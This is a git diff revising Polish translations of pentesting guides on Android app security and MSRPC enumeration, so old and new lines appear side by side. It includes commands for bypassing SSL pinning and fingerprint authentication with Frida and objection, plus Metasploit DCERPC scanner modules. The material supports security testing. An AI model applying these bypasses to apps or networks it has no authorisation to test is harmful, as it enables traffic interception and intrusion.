* Przechowywanie plików wykonywalnych lub plików klasowych na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
* Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -159,7 +159,7 @@ Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, któ
* **Preferencje współdzielone**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
* **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
### Uszkodzony TLS
### Uszkodzone TLS
**Akceptuj wszystkie certyfikaty**
@ -174,7 +174,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Poor Key Management Processes**
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie inżynieryjne może pozwolić atakującym na wydobycie poufnych informacji.
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie kodu może pozwolić atakującym na wydobycie poufnych informacji.
**Use of Insecure and/or Deprecated Algorithms**
@ -182,7 +182,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
### Other checks
* Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynieryjną.
* Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
* Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
* Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
* Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -390,7 +390,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie**, aby wyodrębnić poufne informacje, omijając środki autoryzacji...\
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie** w celu wyodrębnienia poufnych informacji, obejścia środków autoryzacji...\
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/#services)
### **Wykorzystywanie odbiorników rozgłoszeniowych**
@ -445,12 +445,12 @@ Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotycz
### Wykrywanie i weryfikacja warstwy transportowej
* **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
* **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
* **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
* **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
#### Weryfikacja certyfikatu
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Aby uzyskać szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności, [**to źródło**](https://manifestsecurity.com/android-application-security-part-10/) oferuje kompleksowe wskazówki.
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności można znaleźć w [**tym zasobie**](https://manifestsecurity.com/android-application-security-part-10/).
#### SSL Pinning
@ -458,9 +458,9 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
#### Inspekcja ruchu
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może być niewidoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może być niewidoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
#### Obejście SSL Pinning
@ -468,7 +468,7 @@ Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspi
* Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
* Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
* Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **Wrażliwe dane w Keystore**
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
@ -521,7 +521,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Ominięcie odcisku palca/biometrii**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje na Androida mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
{% code overflow="wrap" %}
```bash
@ -537,7 +537,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG\_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG\_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -549,18 +549,18 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania komponentów aplikacji, które nie są eksportowane, lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
### Kluczowe Wnioski
* **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
* Wykorzystania polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
* Może to ujawniać komponenty, które nie są eksportowane, oraz dostawców treści atakującym.
* Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
* Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
* Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
### Wstrzyknięcia po stronie klienta Androida i inne
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
* **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
* **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
@ -570,7 +570,7 @@ Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie os
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
@ -599,7 +599,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
Również, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie mógł go również analizować.
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
@ -608,16 +608,16 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
**MobSF** może być również bardzo pomocny w **analizie dynamicznej** w **Android**, ale w tym przypadku będziesz musiał zainstalować MobSF i **genymotion** na swoim hoście (VM lub Docker nie zadziała). _Uwaga: Musisz **najpierw uruchomić VM w genymotion** a **potem MobSF.**_\
**MobSF dynamic analyser** może:
* **Zrzucić dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich eksportowanych aktywności.
* **Zrzucić dane aplikacji** (URL, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich wyeksportowanych aktywności.
* Przechwytywać **ruch HTTPS**
* Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
**Frida**
Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
MobSF może również **wywoływać wyeksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
@ -637,7 +637,7 @@ Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Sta
**Shell**
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
```bash
help
shell ls
@ -660,10 +660,10 @@ adb shell settings put global http_proxy :0
```
{% endhint %}
### Analiza dynamiczna wspomagana przez Inspeckage
### Assisted Dynamic Analysis with Inspeckage
Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
To narzędzie używa kilku **Hooków**, aby poinformować Cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
To narzędzie używa **Hooks**, aby poinformować Cię **co się dzieje w aplikacji** podczas przeprowadzania **dynamicznej analizy**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -673,7 +673,7 @@ To **świetne narzędzie do przeprowadzania analizy statycznej z interfejsem gra
### [Qark](https://github.com/linkedin/qark)
To narzędzie zostało zaprojektowane w celu wyszukiwania kilku **związanych z bezpieczeństwem podatności aplikacji Android**, zarówno w **kodzie źródłowym**, jak i **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Dowodu Koncepcji" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych podatności (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
To narzędzie jest zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem podatności aplikacji Android**, zarówno w **kodzie źródłowym**, jak i w **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych podatności (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -695,7 +695,7 @@ reverse-apk relative/path/to/APP.apk
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
Wszystkie reguły są zgrupowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
```
@ -715,8 +715,8 @@ Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Framework to system analizy podatności na Androida, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
[Wydania dla Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
AndroBugs Framework to system analizy podatności na Androida, który pomaga deweloperom lub hackerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@ -756,7 +756,7 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
Z [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować kod bajtowy oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
Z [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
@ -780,7 +780,7 @@ Możesz przesłać obfuskowane APK na ich platformę.
### [Simplify](https://github.com/CalebFenton/simplify)
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **próbuje zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
### [APKiD](https://github.com/rednaga/APKiD)
@ -794,7 +794,7 @@ APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **ko
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, samouczków i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, samouczków i laboratoriów od różnych geeków bezpieczeństwa i badaczy do inżynierii wstecznej i analizy złośliwego oprogramowania.
## References
@ -810,7 +810,7 @@ AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, kt
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,15 +32,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Podstawowe informacje
Protokół Microsoft Remote Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a później został rozwinięty i objęty prawem autorskim przez Microsoft.
Protokół Microsoft Remote Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a później został rozwinięty i objęty prawami autorskimi przez Microsoft.
Mapper punktów końcowych RPC można uzyskać za pomocą portu TCP i UDP 135, SMB na TCP 139 i 445 (z sesją null lub uwierzytelnioną) oraz jako usługa internetowa na porcie TCP 593.
Maper punktów końcowych RPC można uzyskać za pomocą portu TCP i UDP 135, SMB na TCP 139 i 445 (z sesją null lub uwierzytelnioną) oraz jako usługa internetowa na porcie TCP 593.
```
135/tcp open msrpc Microsoft Windows RPC
```
## Jak działa MSRPC?
Inicjowany przez aplikację kliencką, proces MSRPC polega na wywołaniu lokalnej procedury stub, która następnie współdziała z biblioteką uruchomieniową klienta, aby przygotować i przesłać żądanie do serwera. Obejmuje to konwersję parametrów na standardowy format Network Data Representation. Wybór protokołu transportowego jest określany przez bibliotekę uruchomieniową, jeśli serwer jest zdalny, co zapewnia dostarczenie RPC przez stos sieciowy.
Inicjowany przez aplikację kliencką, proces MSRPC polega na wywołaniu lokalnej procedury stub, która następnie współdziała z biblioteką uruchomieniową klienta, aby przygotować i przesłać żądanie do serwera. Obejmuje to konwersję parametrów na standardowy format Network Data Representation. Wybór protokołu transportowego jest określany przez bibliotekę uruchomieniową, jeśli serwer jest zdalny, co zapewnia, że RPC jest dostarczane przez stos sieciowy.
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
@ -54,7 +54,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
Dostęp do usługi lokalizatora RPC jest włączony za pomocą określonych protokołów: ncacn\_ip\_tcp i ncadg\_ip\_udp do uzyskiwania dostępu przez port 135, ncacn\_np dla połączeń SMB oraz ncacn\_http dla komunikacji RPC opartej na sieci web. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135:
Dostęp do usługi lokalizatora RPC jest włączony za pomocą określonych protokołów: ncacn\_ip\_tcp i ncadg\_ip\_udp do uzyskiwania dostępu przez port 135, ncacn\_np dla połączeń SMB oraz ncacn\_http dla komunikacji RPC opartej na sieci. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -83,10 +83,10 @@ Wszystkie opcje z wyjątkiem `tcp_dcerpc_auditor` są specjalnie zaprojektowane
* **Opis**: Usługa rejestru zdalnego, używana do uzyskiwania dostępu i modyfikacji rejestru systemowego.
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
* **Named Pipe**: `\pipe\svcctl`
* **Opis**: Menedżer kontroli usług i usługi serwera, używany do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
* **Opis**: Menedżer kontroli usług i usługi serwera, używane do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
* **Named Pipe**: `\pipe\srvsvc`
* **Opis**: Menedżer kontroli usług i usługi serwera, używany do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
* **Opis**: Menedżer kontroli usług i usługi serwera, używane do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
* **Named Pipe**: `\pipe\epmapper`
* **Opis**: Interfejs DCOM, używany do łamania haseł i zbierania informacji za pomocą WM.
@ -95,7 +95,7 @@ Wszystkie opcje z wyjątkiem `tcp_dcerpc_auditor` są specjalnie zaprojektowane
Używając [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), pochodzącego z [badania Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), możliwe jest nadużycie metody _**ServerAlive2**_ wewnątrz interfejsu _**IOXIDResolver**_.
